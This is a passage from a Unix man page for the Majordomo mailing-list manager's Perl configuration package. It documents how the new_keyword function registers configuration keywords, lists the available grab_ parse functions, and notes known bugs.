main'new_keyword are: .TP 15 key The text of the keyword in the configuration file (e.g. subscription_policy). It should use the '_' as a word separator and should be less than 20 characters total length. .TP 15 default_value The default value for the string. Empty quotes must be used if the value is to be null. If the default value starts with the characters '#!', the string is eval'led in the context of the config package. The function config'get_def performs the evaluation. Besides the global values, the name of the list is available in the variable "$list", and the current key name is available in the variable "$key". If the keyword is an enumerated type, the value must follow this form: .I value1^Avalue2^Avalue3^Avalue2 ^A is control-A (ascii octal value 001). The default value for the keyword is the last value in the list (note: that value2 must appear twice, once to show it is a member of the list, and last to show that it is the default value.) If the value can be an array, the default value can be a ^A separated set of elements. These values correspond to the possible values of the %known_keys array Before installing the config_opts code for the first time, it is a good idea to look over the perl array %known_keys, and change the default values. .TP 15 parse_function The parse function is used to validate the data supplied by the list maintainer and to try to point out problems with the data. There are a number of parse functions defined, all of the MUST be in the config package. If you are writing a parse function of your own, make sure that it is in the config package, otherwise the parser won't find it. By convention all of the parse functions supplied with in config_parse.pl start with grab_. The name of the function is used to derive a type value for the inline documentation. All functions that are able to accept multiple arguments must end in _array. The supplied functions are: .RS 15 .TP 10 grab_absolute_dir A root anchored directory .TP 10 grab_absolute_file A root anchored file .TP 10 grab_bool choose from: yes, no, y, n .TP 10 grab_enum One of a list of possible values .TP 10 grab_integer an integer (string made up of the digits 0-9, no decimal point) .TP 10 grab_integer_array an array of integers (string made up of the digits 0-9, no decimal point) .TP 10 grab_float a floating point number with decimal point. Exponential notation is not supported. .TP 10 grab_float_array an array of floating point numbers with decimal point. Exponential notation is not supported. .TP 10 grab_regexp_array an array of perl style regular expression with leading/trailing /'s .TP 10 grab_restrict_post a series of space or : separated file names in which to look up the senders address (restrict-post should go away to be replaced by an array of files) .TP 10 grab_string any text up until a \n stripped of leading and trailing whitespace .TP 10 grab_string_array handle an array of strings possibly sperated by ^A characters. .TP 10 grab_word any text with no embedded whitespace .RE .TP 15 subsystem A unique name for the value for your subsystem. This is used to clear out old keywords when a subsystem module is removed. Only two subsystems are defined by default: majordomo and resend. If the digest program is converted, then the digest subsystem will also be defined. I would suggest that the unique identifiers for addin subsystems to the majordomo command be prefixed with "maj-". .TP 15 comment Documentary text that is filled and printed in the config file. This text should describe the purpose and function of the keyword. .SH Diagnostics The function calls die if any of its arguments are missing. While this isn't as nice as trying to handle the error, it sure does get the attention of the majordomo maintainer. .SH Bugs There is no way to add text describing a new type to the header of the config file. The documentation on a new type has to be done in the comment text. The default string for an enumerated type shouldn't require duplication of the default value. The default value string shouldn't be so heavily overloaded either. This man page should be more explicit about the checks done by the parse functions. new_keyword doesn't yet check and reject duplicate keywords, so it is up to the majordomo maintainer to make sure that keywords don't conflict. main'cf_ck_bool should be documented here as well. .SH See Also majordomo(8), perl(1)